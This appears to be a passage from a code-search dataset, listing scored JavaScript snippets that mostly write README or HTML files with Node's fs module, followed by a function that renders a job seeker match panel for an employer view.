"67a68f5437afee2d6a80aad77ae807de", "score": "0.5388371", "text": "function writeToFile(data) {\n fs.writeFile(\"output.html\", data, (error) => {\n if (error === true) {\n console.log(error)\n }else {\n console.log(\"Successful\")\n }\n } )\n }", "title": "" }, { "docid": "6a94e6f462014971260597d07786fb4b", "score": "0.5379472", "text": "write() {\n try {\n fs.writeFileSync(this.path, this.counter);\n } catch(e) {\n console.log('nincs ilyen cel file')\n }\n }", "title": "" }, { "docid": "25e00bf0a84610d169d34e76df5102f0", "score": "0.53722143", "text": "function writeToFile(fileName, data) {\n // let = \"#hello\"\n // return fs.writeFileSync(README.md\", README)\n fs.writeFile(fileName, data, err => {\n if(err){\n return console.log(err);\n }\n console.log(\"Congratulations! Your README file has successfully been generated.\")\n });\n \n}", "title": "" }, { "docid": "0de72c5017f7a842b5bd83634e201c34", "score": "0.5369715", "text": "function compile_code() {\n //link for compiler\n var compilerURI = \"http://127.0.0.1:5000/post_code\";\n\n //get code from blocks\n if(!file_upload){\n //build code from text\n var finished_code = get_code();\n\n //user wrote code (blocks were created)\n if(finished_code != \"-1\") {\n var clean_string = finished_code.replace(/[^a-zA-Z ]/g, \"\");\n if( clean_string.replace(/\\s/g,'') == \"\"){\n create_bootstrap_alert(\"Write code to compile! \",\"You can add a block or upload a file.\");\n }\n\n else{\n //build json from code\n var data_js = JSON.stringify({\"code\":finished_code});\n\n //send ajax post request\n post_request_ajax(compilerURI,data_js);\n }\n }\n }\n \n //get code from file\n else {\n if(file_text != \"-1\"){\n //build json from code\n var data_js = JSON.stringify({\"code\":file_text});\n\n //send ajax post request\n post_request_ajax(compilerURI,data_js);\n }\n\n else {\n create_bootstrap_alert(\"Write code to compile! \",\"You can add a block or upload a file.\");\n }\n }\n}", "title": "" }, { "docid": "b593c994f5abc77e26e2603aee0fe39e", "score": "0.5369515", "text": "function injectCode() {\n\n\t\tvar fullpath = path.join( rootpath, \"app.js\" );\n\t\tvar source = fs.readFileSync( fullpath, 'utf8' );\n\t\tvar test = /\\/\\/ALLOY-RESOLVER/.test( source );\n\t\tlogger.trace( \"CODE INJECTED ALREADY: \" + test );\n\t\tif( !test ) {\n\t\t\tsource = source.replace( /(var\\s+Alloy[^;]+;)/g, \"$1\\n//ALLOY-RESOLVER\\nvar process=require('process');\\nAlloy.resolve=new (require('nativeloop/resolver'))().resolve;\\n\" );\n\t\t\tfs.writeFileSync( fullpath, source );\n\t\t}\n\t}", "title": "" }, { "docid": "ef48cb2209d6a4a45dd6fa99590b9dae", "score": "0.53633046", "text": "function exit() {\n fs.appendFile(\n \"../html/newfile.html\",\n `</section>\n </body>\n </html>`,\n (err) => {\n if (err) {\n console.log(\"Error\");\n }\n }\n );\n}", "title": "" }, { "docid": "0f617edae38c78602ac45c548a89bf06", "score": "0.5360554", "text": "function writeFile( file , text, bSilent = false ){\n return $.ajax({\n type: \"POST\",\n url: WEBROOT+\"/includes/writefile.php\" ,\n data: { set : \"writeFile\" ,\n file : file,\n\t\t\t\ttext: text\n },\n success : function(data) { \n\t\t\tif ( bSilent == false ){\n\t\t\t\talert( lang ( \"GLOBAL\", \"MSG\", \"AJAX_SUCCESS\" ) );\n\t\t\t}\n },\n\t\terror : function(data) {\n\t\t\talert ( lang ( \"GLOBAL\", \"MSG\", \"AJAX_FAILED\" ) + JSON.stringify( data ) ); \n\t\t}\n });\n }", "title": "" }, { "docid": "6a6c94975ed13b26aae5fe95a9562c0f", "score": "0.53347147", "text": "function dumpSourceToFile(sourcecode, errname, err_id, options, ex) {\n var dumpfile;\n\n try {\n var dumpPaths = [(options.outfile ? path.dirname(options.outfile) : null), options.inputPath, process.cwd()];\n var dumpName = path.basename(options.inputFilename || options.moduleName || (options.outfile ? path.dirname(options.outfile) : null) || options.defaultModuleName || errname)\n .replace(/\\.[a-z]{1,5}$/i, '') // remove extension .y, .yacc, .jison, ...whatever\n .replace(/[^a-z0-9_]/ig, '_'); // make sure it's legal in the destination filesystem: the least common denominator.\n if (dumpName === '' || dumpName === '_') {\n dumpName = '__bugger__';\n }\n err_id = err_id || 'XXX';\n\n var ts = new Date();\n var tm = ts.getUTCFullYear() +\n '_' + pad(ts.getUTCMonth() + 1) +\n '_' + pad(ts.getUTCDate()) +\n 'T' + pad(ts.getUTCHours()) +\n '' + pad(ts.getUTCMinutes()) +\n '' + pad(ts.getUTCSeconds()) +\n '.' + pad(ts.getUTCMilliseconds(), 3) +\n 'Z';\n\n dumpName += '.fatal_' + err_id + '_dump_' + tm + '.js';\n\n for (var i = 0, l = dumpPaths.length; i < l; i++) {\n if (!dumpPaths[i]) {\n continue;\n }\n\n try {\n dumpfile = path.normalize(dumpPaths[i] + '/' + dumpName);\n fs.writeFileSync(dumpfile, sourcecode, 'utf8');\n console.error(\"****** offending generated \" + errname + \" source code dumped into file: \", dumpfile);\n break; // abort loop once a dump action was successful!\n } catch (ex3) {\n //console.error(\"generated \" + errname + \" source code fatal DUMPING error ATTEMPT: \", i, \" = \", ex3.message, \" -- while attempting to dump into file: \", dumpfile, \"\\n\", ex3.stack);\n if (i === l - 1) {\n throw ex3;\n }\n }\n }\n } catch (ex2) {\n console.error(\"generated \" + errname + \" source code fatal DUMPING error: \", ex2.message, \" -- while attempting to dump into file: \", dumpfile, \"\\n\", ex2.stack);\n }\n\n // augment the exception info, when available:\n if (ex) {\n ex.offending_source_code = sourcecode;\n ex.offending_source_title = errname;\n ex.offending_source_dumpfile = dumpfile;\n } \n}", "title": "" }, { "docid": "43a04c3e5a94efd4caa756776ecb7f63", "score": "0.53171015", "text": "function writeToFile(uselessRobotWriter) {\n fs.writeFile('README.md',uselessRobotWriter, (err) =>\n err ? console.error(err) : console.log('ReadMe has been made NOOICE!')\n )}", "title": "" }, { "docid": "e096e059280a5b6dd0702588c5f94af7", "score": "0.53144985", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, generateMarkdown(data), function(err) {\n if (err) {\n return console.log(err);\n }\n console.log(\"Success!\");\n });\n}", "title": "" }, { "docid": "15f56b9f1c20dff9c7e86247aaaecde0", "score": "0.53138256", "text": "function writeFile() {\n fs.appendFile(\"log.txt\", renderInfo, function(err) {\n\n // If an error was experienced we will log it.\n if (err) {\n return console.log(err);\n }\n \n // If no error is experienced, we'll log the phrase \"Content Added\" to our node console.\n console.log(`\\nContent added to log.txt file!\\n`);\n \n });\n}", "title": "" }, { "docid": "03073034120fb791a9cb6fcf6472cc00", "score": "0.53071356", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName,data,(err) =>{\n if(err){\n throw err;\n } else {\n return console.log(\"readMe was Created\");\n }\n });\n}", "title": "" }, { "docid": "018c4aa76e39386544d12da3b3cc2c0d", "score": "0.5305504", "text": "function fail(response, code, text) {\n let textTypeHeader = { \"Content-Type\": \"text/plain\" };\n response.writeHead(code, textTypeHeader);\n response.write(text, \"utf8\");\n response.end();\n}", "title": "" }, { "docid": "da539d1984a32b9e92eb464f5200c309", "score": "0.5303736", "text": "function writeToFile(fileName, data) {\n fs.writeFile('./utils/' + fileName, generateMarkdown(data), err => { //generateMarkdown(data) adds README data\n if (err) {\n console.error(err) //Logs error\n return\n }\n //file written successfully\n })\n}", "title": "" }, { "docid": "8fa7715246863b3c3d135d98869c6559", "score": "0.5298911", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data, err => {\n if(err) {\n console.log(err)\n }\n return \"file saved correctly\";\n });\n }", "title": "" }, { "docid": "f09f26da9be00158edee37a72460a957", "score": "0.52959484", "text": "function magWriteCallback(error){\n if (error){\n console.log('Error while writing to the mag.txt file!');\n }\n}", "title": "" }, { "docid": "41b8a2d5c7197b8f698106997f50aab7", "score": "0.52731985", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data, function(err){\n if (err) {\n return console.log(err);\n }\n console.log(\"README file create with your info!\")\n })\n }", "title": "" }, { "docid": "7c71611228d612e47d9d268bbae51acb", "score": "0.52722806", "text": "function writeToFile(fileName, data) {\n\n\n\n\n}", "title": "" }, { "docid": "ed31056949755de650956131bc26ddbb", "score": "0.5267918", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data, (err) =>\n err\n ? console.log(err)\n : console.log(\"Success: Your file has been generated.\")\n );\n}", "title": "" }, { "docid": "a1699f5281c60ce9d0d2fb585378fa5b", "score": "0.5262635", "text": "function logTxt(data) {\n fs.appendFile(\"log.txt\", data, function(err) {\n if(err) {\n return console.log(\"Error Occurred: \" + err);\n }\n else {\n console.log(\"Content Added\" + \"\\n\");\n }\n });\n}", "title": "" }, { "docid": "5b05b62fe9f7a2fb74ee07b9a1c6285f", "score": "0.5260565", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data, (err) => {\n if (err) throw err;\n });\n console.log(\"File README.md generated\")\n}", "title": "" }, { "docid": "70fca2bde57912e7304f1ed4625521dd", "score": "0.5257711", "text": "function writeToFile(fileName, data) {\n let html = generateHtml(data);\n fs.writeFile(fileName, html, (err) => {\n if (err) {\n console.log(err);\n } else {\n console.log(\"Team profile has been created succefully!\");\n }\n });\n}", "title": "" }, { "docid": "7294e48e317cc0aa370364e4866b8fde", "score": "0.5247535", "text": "function CrazyFile() {\n\n }", "title": "" }, { "docid": "1056ad6354f24d32571f5a9d572ebcca", "score": "0.52472335", "text": "writeLine(text) {\n this.liveFunc.writeLine(text);\n return _yocto_api.YAPI_SUCCESS;\n }", "title": "" }, { "docid": "2af8ca29e032a93de49af0fdeac01ebb", "score": "0.52469337", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data, (err) =>\n err ? console.error(err) : console.log('Success! Your README file is all set.'));\n}", "title": "" }, { "docid": "e15c2e2556204ae8f6c2b0a2c47ba3a7", "score": "0.52451605", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, generateMarkdown(data), (err) => \n err ? console.log(err) : console.log('Success!')\n );\n}", "title": "" }, { "docid": "f083784b1122fb4bf40f1a9d7d751764", "score": "0.5242794", "text": "function lineReaderClose() {\n var fileString = \"defaultUAs = \" + JSON.stringify(uajsonarr) + \";\";\n fs.writeFile(uaJSFilePath, fileString, function (err) {\n if (err) {\n console.log(\"Error creating \" + uaJSFilePath + \": \" + err);\n } else {\n console.log(uaJSFilePath + \" has been created\");\n }\n });\n}", "title": "" }, { "docid": "fe30053415098209e61bdb9a60f77e0f", "score": "0.52422154", "text": "function writeToFile(fileName, data) {\n\n let filePath = `${fileDestination}/${fileName}${generatedFileTypeSuffix}`;\n\n fs.writeFile(filePath, data, function (err) {\n if (err) throw err;\n console.log('Your html page was created in the GeneratedFiles folder.');\n });\n}", "title": "" }, { "docid": "2e200ec0556de1284ea85adad2a50f0c", "score": "0.5232834", "text": "function createHTML(fileName, data) {\r\n fs.writeFile(fileName, data, \"utf8\", function (err) {\r\n if (err) {\r\n throw err;\r\n }\r\n });\r\n}", "title": "" }, { "docid": "20b7ba09d8009995457e7de2429356c8", "score": "0.5224529", "text": "function writeToFile(fileName, data) {\n \n fs.writeFile(fileName, data, (err) =>\n err ? console.error(err) : console.log('Success! Your README file has been generated!'))\n}", "title": "" }, { "docid": "60f514829c66fd4eb51f272d75564837", "score": "0.52233636", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data, (err) =>\n err ? console.error(err) : console.log('Readme generated Successfully!')\n );\n\n}", "title": "" }, { "docid": "6107a4f23f106a23e4d9690829ead44a", "score": "0.5212339", "text": "function writeToFile(fileName, data) { }", "title": "" }, { "docid": "6107a4f23f106a23e4d9690829ead44a", "score": "0.5212339", "text": "function writeToFile(fileName, data) { }", "title": "" }, { "docid": "59cd85dab911b4c8d230e9d1bb88fe63", "score": "0.52056795", "text": "function writeToFile(fileName, data) {\n\n fs.writeFile(fileName,data,function(err) {\n if (err) {\n return err;\n } else {\n console.log(\"Your README.md file has been generated!\");\n };\n })\n\n}", "title": "" }, { "docid": "88e7224b84eaa315dfbf3733144811a7", "score": "0.5203824", "text": "function writeHtml(fileName, data) {\n\tfs.writeFile(fileName, data, function(err) {\n\t\tif(err) {\n\t\t console.log(err);\n\t\t} else {\n\t\t console.log(\"JSON saved to \" + fileName);\n\t\t}\n\t});\t\n}", "title": "" }, { "docid": "df13526fbd92351490c31b1cbf38e026", "score": "0.5196564", "text": "function writeToFile(fileName, data) {\n\n //pass response to the generateMarkdown function\n const content = generateMarkdown(data);\n\n //write the file using called information\n fs.writeFile(fileName, content, (err) => {\n if(err) console.log(err);\n });\n}", "title": "" }, { "docid": "02ee50ce44f06557d9bcaa8b96ef36fd", "score": "0.51943576", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data, err => {\n if (err) throw new Error(err);\n \n console.log('Page created! Check out ReadMe.MD in this directory to see it!');\n });\n}", "title": "" }, { "docid": "aa8ba04b71bd23dccfa836c5e91fd464", "score": "0.51941615", "text": "function updateResponses(data) {\n fs.writeFile('./responses/test.txt', 'Lorem ipsum dolor sit amet...', (err, file) => console.log(\"Something happened\"));\n}", "title": "" }, { "docid": "5ff3c681fa41ecf3253e958c591a14c4", "score": "0.5192734", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, generateMarkdown(data), function (error) {\n if (error) {\n console.log(error);\n }\n else {\n console.log(\"File successfully created!\");\n }\n })\n}", "title": "" }, { "docid": "b5b35bcfbc4fc3e4ac7ea0bd19000aeb", "score": "0.51920104", "text": "function createFile(fileName, data) {\n fs.writeFile(\"./utils/generateMarkdown\" + fileName, data, function (error) {\n if (error) {\n return console.log(error);\n }\n console.log(\"Successfully wrote: \" + fileName);\n });\n}", "title": "" }, { "docid": "f9a2212cd60e06716dc9c05cd52e3264", "score": "0.51913834", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data, (err) => {\n if (err) throw err;\n });\n console.log(\"File REAME.md generated\")\n}", "title": "" }, { "docid": "981e914075a1e34e0420ab3b34fb48f7", "score": "0.5190955", "text": "function writeToFile(fileName, data) {\n var generate = generateReadMe(data);\n fs.writeFile(fileName, generate, (err) => {\n err ? console.log(err) : console.log('Your ReadMe has been generated!');\n })\n\n}", "title": "" }, { "docid": "539d18b0f60a698e886ccea481028653", "score": "0.518437", "text": "function writeToFile(data){\n fs.writeFile('profile.html', data, 'utf8', function(err) {\n if (err) {\n return console.log(err);\n } else console.log(\"You did it!\");\n });\n }", "title": "" }, { "docid": "6f8ab11f1705f3fbaf41e1ba2f5f27e4", "score": "0.51818025", "text": "function writeToFile(data,response) {\n var filename = './logs/'+data.functionName+'.txt';\n function errHandler(err) {\n if (err) {\n response.doOwnClose('\\nsaving data failed');\n throw err;\n }\n console.log('Logdata saved!'); \n response.doOwnClose('\\nsaving data successfully <a href=\"./logs/' + data.functionName + '.txt\">to log</a>');\n };\n\n path.exists(filename,function(exists) {\n console.log(data);\n fs.appendFile(filename, \n \"[\" + dateToString(new Date()) + \"]\" +\n \"[\" + data.exampleId + \"]\" +\n \" \" + data.type + \": \" +\n data.entry + '\\n', \n errHandler);\n });\n}", "title": "" }, { "docid": "cc9a6acbd54be9a7708faad553c392cc", "score": "0.5179065", "text": "function fileChangeHandler(eventType, filename) {\n\t\t\t\t\tif(filename != null){\n\t\t\t\t\t\tsetTimeout(\n\t\t\t\t\t\t\t()=>{\n\t\t\t\t\t\t\t\t// get array of lines in file\n\t\t\t\t\t\t\t\tlet stuff = fs.readFileSync(instancedirectory + \"/script-output/\" + filename, \"utf8\").split(\"\\n\");\n\n\t\t\t\t\t\t\t\t// if you found anything, reset the file\n\t\t\t\t\t\t\t\tif (stuff[0]) {\n\t\t\t\t\t\t\t\t\tfs.writeFileSync(instancedirectory + \"/script-output/\" + filename, \"\");\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tfor(let i = 0; i < stuff.length; i++) {\n\t\t\t\t\t\t\t\t\tif(stuff[i] && !stuff[i].includes('\\u0000\\u0000')) {\n\t\t\t\t\t\t\t\t\t\ttry{\n\t\t\t\t\t\t\t\t\t\t\tplugins[I].scriptOutput(stuff[i]);\n\t\t\t\t\t\t\t\t\t\t}catch(e){console.log(e)}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tpluginConfig.fileReadDelay || 0\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}", "title": "" }, { "docid": "6b1b5812a91379b4cb142302cfdfb469", "score": "0.5172769", "text": "function writeToFile(questions) {\n return `\n \n # ${response.title}\n \n ### Table of Contents\n \n\n\n\n\n\n `\n\n}", "title": "" }, { "docid": "5bb19fcc9358520210cc08614a68f367", "score": "0.5170457", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data, function(err) {\n if (err) {\n return console.log(err);\n }\n console.log('Your new README.md file is now ready. Thank you for using README-Generator!')\n });\n}", "title": "" }, { "docid": "9a123c646a628e89f737c6e8efed78d7", "score": "0.51694196", "text": "function writeToFile(fileName, data) {\n}", "title": "" }, { "docid": "6dec8711069adc55eac778916e704ad0", "score": "0.5168215", "text": "function writeToFile(fileName, data) {\n\tlet readMeString = generateMarkdown(data);\n\tfs.writeFile(fileName, readMeString, function (err) {\n\t\tif (err) {\n\t\t\treturn console.log(err);\n\t\t}\n\t});\n}", "title": "" }, { "docid": "9589e9c503befa4d8eddbddcbf3c8225", "score": "0.5165472", "text": "function createHTML(newHTML) {\n fs.writeFile(outputPath, newHTML, function(err) {\n if (err) {\n return console.log(err);\n }\n console.log(`\n==============================================================\n Team Assembled Successfully!\n\n You can find your Team Managment page in the output folder\n==============================================================\n `);\n });\n}", "title": "" }, { "docid": "37319065a4d23d90a3d853bf53d7e398", "score": "0.51606697", "text": "function generateREADme(filename, data) {\n fs.writeFile(filename, data, (err) => {\n if (err) throw err;\n console.log('The file has been saved!');\n });\n}", "title": "" }, { "docid": "8617f37564dfbf1fe81752af83282398", "score": "0.5153714", "text": "function writeToFile(data) {\r\n fs.writeFileSync(outputPath,data,\"UTF8\")\r\n console.log(\"Successfully wrote team.html\");\r\n}", "title": "" }, { "docid": "6801231cbcf033eedb67d08d276fbd8e", "score": "0.5153124", "text": "function writeUpdatedFunctionToTemplateFile(fileType, code, oldTemplate) {\n const regex = new RegExp(`${fileType}\\\\(opts.*?\\\\) {[\\\\s\\\\S]*?\\`\\\\s*},`)\n const newTemplate = oldTemplate.replace(\n regex,\n `${fileType}(opts: Opts) { return \\`\n ${code}\n \\` },`\n )\n return newTemplate\n}", "title": "" }, { "docid": "e421fee5333c3a1fd9ec81d8331926b5", "score": "0.51456326", "text": "function _writeBufOut(){\n\t\tvar fileOut = new ClassFile(\"CompareSortie\");\n\t\tif(!fileOut.ifExist())\n\t\t\tfileOut.writeFile(data);\n\t\telse\n\t\t\tconsole.log(\"File already existed\");\n\t}", "title": "" }, { "docid": "47ffe8ab1135a08ee9a9308744535411", "score": "0.51425236", "text": "function writeHTML(fileName, data) {\n fs.writeFile(fileName, data, function (err) {\n if (err) {\n return console.log(err);\n } else\n console.log(\"Success! index.html file was created!\");\n });\n}", "title": "" }, { "docid": "599ba3da62795f029e860bd1fb54ef25", "score": "0.5139264", "text": "function writeFile() {\n console.log(\"Creating your file. Check output folder for result.\");\n\n if (!fs.existsSync(OUTPUT_DIR)) {\n fs.mkdirSync(OUTPUT_DIR);\n }\n\n fs.writeFileSync(outputPath, render(newTeam), \"utf-8\");\n}", "title": "" }, { "docid": "65cf1a88eb656de2b73e9f23a087416e", "score": "0.51271856", "text": "function sysSucc(filesystem) {\n\n filesystem.root.getFile(\"notes.txt\", {create: true}, initWriter, sysFail);\n }", "title": "" }, { "docid": "d8540e473578ad46c6f306281e75b465", "score": "0.5123565", "text": "function writeToFile(fileName, data) {\n const readmeContents = generateMarkDown(data);\n fs.writeFile(fileName,readmeContents,(err)=>{\n if (err) {\n console.log(err);\n console.log(\n \"Uh oh. Something went wrong. Could not create README.md. Scroll up for details.\"\n );\n return process.exit(1);\n }\n console.log(\"Success! Created README.md\");\n });\n\n }", "title": "" }, { "docid": "51686f5e44331a0d563c327c85328ab8", "score": "0.51193976", "text": "function writeFile(fileName, data) {\n fs.writeFile(fileName, data, (err) => {\n if (err) {\n return console.log(err)\n } else { \n console.log(\"Successfully wrote README.md\")\n }\n });\n}", "title": "" }, { "docid": "da024b86e5561417fd58b9c793524731", "score": "0.51181024", "text": "function writeToFile(fileName, answers) {\n fs.writeFile(fileName, answers, () => { \n console.log(\"Your README has been generated\");\n });\n}", "title": "" }, { "docid": "a67a8d12aaaf4aec929cfbfea842d941", "score": "0.5117102", "text": "function writeToFile(data) {\n fs.writeFile(\"goodReadMe.md\", generateMarkdown(data), (err) => {\n if (err) throw err;\n console.log(\"File written!\");\n });\n}", "title": "" }, { "docid": "b39145b68f107667967c6b6175b7006d", "score": "0.51161873", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data, err => {\n if (err) {\n return console.error(err);\n };\n \n console.log(\"New README file created with success!\");\n });\n\n}", "title": "" }, { "docid": "61db2b39a43d301c370769dc80c5b31f", "score": "0.5115177", "text": "function writeToFile(fileName, data) {\n let licenseChoice = data.license;\n if (licenseChoice == 'MIT'){\n data.license = mitLicense(data);\n }\n if (licenseChoice == 'Apache 2.0'){\n data.license = apacheLicense(data);\n\n }\n if (licenseChoice == 'Artistic 2.0'){\n data.license = artisticLicense;\n\n }\n if (licenseChoice == 'Open Software License 3.0'){\n data.license = openSoftwareLicense;\n }\n let markdown = generateMarkdown(data);\n fs.writeFile(fileName, markdown, (err) =>\n err ? console.error(err) : \n console.log('Success!')\n )\n \n\n}", "title": "" }, { "docid": "c7bc3a3d53cca56fda5d6ee86ee33c0c", "score": "0.51145744", "text": "function createUserFile(data) {\n fs.writeFile(outputPath, render(data), function(err) {\n if (err) {\n return console.log(err);\n }\n console.log(\"Success!\");\n })\n}", "title": "" }, { "docid": "8fcb6f9bd0e1940630a9f4bfb9d28d8d", "score": "0.51054347", "text": "writing() {}", "title": "" }, { "docid": "028d756abf9ee470372a8f47350f3e5b", "score": "0.50988007", "text": "function writeToFile(fileName, data) {}", "title": "" }, { "docid": "028d756abf9ee470372a8f47350f3e5b", "score": "0.50988007", "text": "function writeToFile(fileName, data) {}", "title": "" }, { "docid": "028d756abf9ee470372a8f47350f3e5b", "score": "0.50988007", "text": "function writeToFile(fileName, data) {}", "title": "" }, { "docid": "028d756abf9ee470372a8f47350f3e5b", "score": "0.50988007", "text": "function writeToFile(fileName, data) {}", "title": "" }, { "docid": "028d756abf9ee470372a8f47350f3e5b", "score": "0.50988007", "text": "function writeToFile(fileName, data) {}", "title": "" }, { "docid": "a6ed491beb9263e37f7b49069622519b", "score": "0.5095372", "text": "function writeToFile(fileName, data) {\r\n fs.writeFile(fileName, data, err => {\r\n if (err) {\r\n throw err;\r\n }\r\n console.log(\"Successful\");\r\n });\r\n}", "title": "" }, { "docid": "49552ad9db6ed02ed7dc45cfc2b2d507", "score": "0.5094526", "text": "function writeFile(sDocumentID, code, cb) {\n\tcFilePath = './temp/' + sDocumentID + '/'; \n\toFS.exists( cFilePath, function(exists){ \n if(!exists) {\n console.log('INFO: ' + sDocumentID + ' directory created for storing temporary sourceCode I/O files.' );\n oFS.mkdirSync(cFilePath);\n } \n oFS.writeFile(cFilePath + 'sourcecode.c', code, function(err) {\t\t//seperate folder for each client by using client-id\n if(err){\n cb( {cResult: JSON.stringify(err) });\n }\t\n\t var config = { dPath: ['/home/babru/collab/codr-io:/src'],\n\t\t\t dImage: ['gccbox'],\n\t \t \t codeFile: ['/src/temp/' + sDocumentID + '/sourcecode.c'],\n\t \t\t outputFile: ['/src/temp/' + sDocumentID + '/sourcecode']\n\t\t };\n\t\n\t cb(config.dPath, config.dImage, config.codeFile, config.outputFile);\n\n \t});\n });\n }", "title": "" }, { "docid": "239bfe5ae0c20cba1b35d80a64ff2833", "score": "0.509145", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, generateMarkdown(data), function (err) {\n if (err) {\n return console.log(err);\n }\n });\n}", "title": "" }, { "docid": "6fc94102659f42caafb1c0c4fb85bb24", "score": "0.5087209", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data, err => {\n if (err) throw err;\n \n console.log('README complete! Check out README.md to see the result!');\n });\n}", "title": "" }, { "docid": "a852ec6f657024a5454cc49a003c7d32", "score": "0.50849783", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data,(err)=>{ err ? console.log(\"failed to write file\"):console.log(\"Success!\")})\n}", "title": "" }, { "docid": "5486418891bede6fa3ec98abd8011582", "score": "0.50805616", "text": "function _writeFile(filename, content){\n\n\tif( filename.match(/(.*)\\.xml/) ){\n\t\tcontent = wrapper_xml_file.start+EOL+content.join(EOL)+EOL+wrapper_xml_file.end;\n\t}else if( filename.match(/(.*)\\.php/) ){\n\t\tcontent = wrapper_php_file.start+EOL+content.join(EOL)+EOL+wrapper_php_file.end;\n\t}else{\n\t\tcontent = JSON.stringify(content);\n\t}\n\tfs.writeFile(filename, content);\n}", "title": "" }, { "docid": "dbac5a83d9fd749115300b90c2812387", "score": "0.50755584", "text": "function writeToFile(fileName, data) {\n\n }", "title": "" }, { "docid": "3cc3f5bd8f5bd125175438162a8a63fd", "score": "0.5073694", "text": "function handleWarning(reason, position, code) {\n\t if (code === 3) {\n\t return;\n\t }\n\t\n\t ctx.file.message(reason, position);\n\t }", "title": "" }, { "docid": "8791f1aca67db4ca0af6b204d6efb705", "score": "0.50731045", "text": "function create_file( title, category, text, dateinsert ){\n var json_data = { data: [ { title:title, category:category, text:text, dateinsert:dateinsert } ] };\n fs.writeFile('data/data_scripts.json', JSON.stringify( json_data ), function(err) {\n if(err){\n throw err;\n }\n else{\n console.log('1-It\\'s saved!');\n $.post('./load/load_data_list.html', function( datalist ){\n $('.js-load-data-list').html( datalist );\n });\n load_add_data();\n }\n });\n }", "title": "" }, { "docid": "3928daa8746e0d1d55d74f7f7e519430", "score": "0.507131", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data, (err) => {\n if (err) {\n return console.log(err);\n }\n console.log(\"Your file was successfully generated!\");\n });\n}", "title": "" }, { "docid": "a1604bb7aba2af5109fbce43a0d7ddba", "score": "0.5063168", "text": "function appendMagic(newAppendee) {\n if (contentHack.hackMode != 'loop') {\n\t\tvar scriptString = formatString($(newAppendee).css(contentHack.selectorName), true);\n\t\tif (scriptString == 'ndefine') {scriptString = '<script></script>'}; \n\t\t// (above) Prevents \"[u]ndefine[d]\" from being printed when the appended script is removed.\n\t\tdocument.write(scriptString);\n\t}\n}", "title": "" }, { "docid": "1c4a31c398d59b667b2c26c5eefc5651", "score": "0.50610137", "text": "function writeToFile(fileName, data) {\n //taking input from user and generating the readme with fs\n const readmecontent = generateMarkdown(data)\n fs.writeFile(fileName, readmecontent, function(error) {\n if (error)\n throw error\n\n console.log(\"README.md generated!\")\n })\n}", "title": "" }, { "docid": "18b6160bc46c09c19d54b69aebb1dc2f", "score": "0.50603366", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, generateMarkdown(data), err => {\n if (err) throw err;\n console.log('Your ReadMe file has been generated! Look for README.md in the generated-file folder to see the result.')\n });\n}", "title": "" }, { "docid": "3270854f029ef0f52796c6777be7fe11", "score": "0.50596666", "text": "write(filename, contents) {\n files.writeFile(files.pathJoin(this.cwd, filename), contents, 'utf8');\n }", "title": "" }, { "docid": "31b8fb004a81de51dcc98f59f710026d", "score": "0.5057472", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data.join(\"\"), function (err) {\n if (err) {\n return console.log(err);\n }\n console.log(\"Questions were written in file for README!\");\n });\n}", "title": "" } ]
61fba147d4a068d83dbd7d6f9aa19296
Function to print a matched Job Seeker to panel in employer_matches view
[ { "docid": "95f5ef0c49a9c31341da524f03bb2cdb", "score": "0.64807004", "text": "function printJobSeeker(id, name, email, state, city, percentageMatch, totalMatchedSkills, totalSkills) {\n //Building the contents of the div to display a particular Job Seeker\n let display = document.getElementById(\"jobseeker\");\n\n let panel = document.createElement(\"div\");\n panel.className = \"panel panel-default\";\n\n let heading = document.createElement(\"div\");\n\n heading.className = \"panel-heading\";\n heading.innerHTML += name + \" - \";\n\n let match = document.createElement(\"strong\");\n if (percentageMatch === 100) {\n match.innerHTML = \"&#11088;\" + percentageMatch + \"&#37; Match\";\n } else {\n match.innerHTML = percentageMatch + \"&#37; Match\";\n }\n\n\n let body = document.createElement(\"div\");\n body.className = \"panel-body\";\n\n let p0 = document.createElement(\"p\");\n if (totalMatchedSkills > 0) {\n p0.innerHTML = totalMatchedSkills + \" out of \" + totalSkills;\n } else {\n p0.innerHTML = \"None, or not applicable\";\n }\n let p0Title = document.createElement(\"strong\");\n p0Title.innerHTML = \"Matched Skills: \";\n\n let p1 = document.createElement(\"p\");\n p1.innerHTML = email;\n let p1Title = document.createElement(\"strong\");\n p1Title.innerHTML = \"Contact E-mail: \";\n\n let hr1 = document.createElement(\"hr\");\n\n let p2 = document.createElement(\"p\");\n let p2Title = document.createElement(\"strong\");\n\n let p3 = document.createElement(\"p\");\n let p3Title = document.createElement(\"strong\");\n\n let p4 = document.createElement(\"p\");\n let p4Title = document.createElement(\"strong\");\n p4.innerHTML = city;\n\n if (state === \"VIC\") {\n p4.innerHTML += \", Victoria\";\n } else if (state === \"NSW\") {\n p4.innerHTML += \", New South Wales\";\n } else if (state === \"QLD\") {\n p4.innerHTML += \", Queensland\";\n } else if (state === \"WA\") {\n p4.innerHTML += \", Western Australia\";\n } else if (state === \"SA\") {\n p4.innerHTML += \", South Australia\";\n } else if (state === \"TAS\") {\n p4.innerHTML += \", Tasmania\";\n } else if (state === \"ACT\") {\n p4.innerHTML += \", Australian Capital Territory\";\n } else if (state === \"NT\") {\n p4.innerHTML += \", 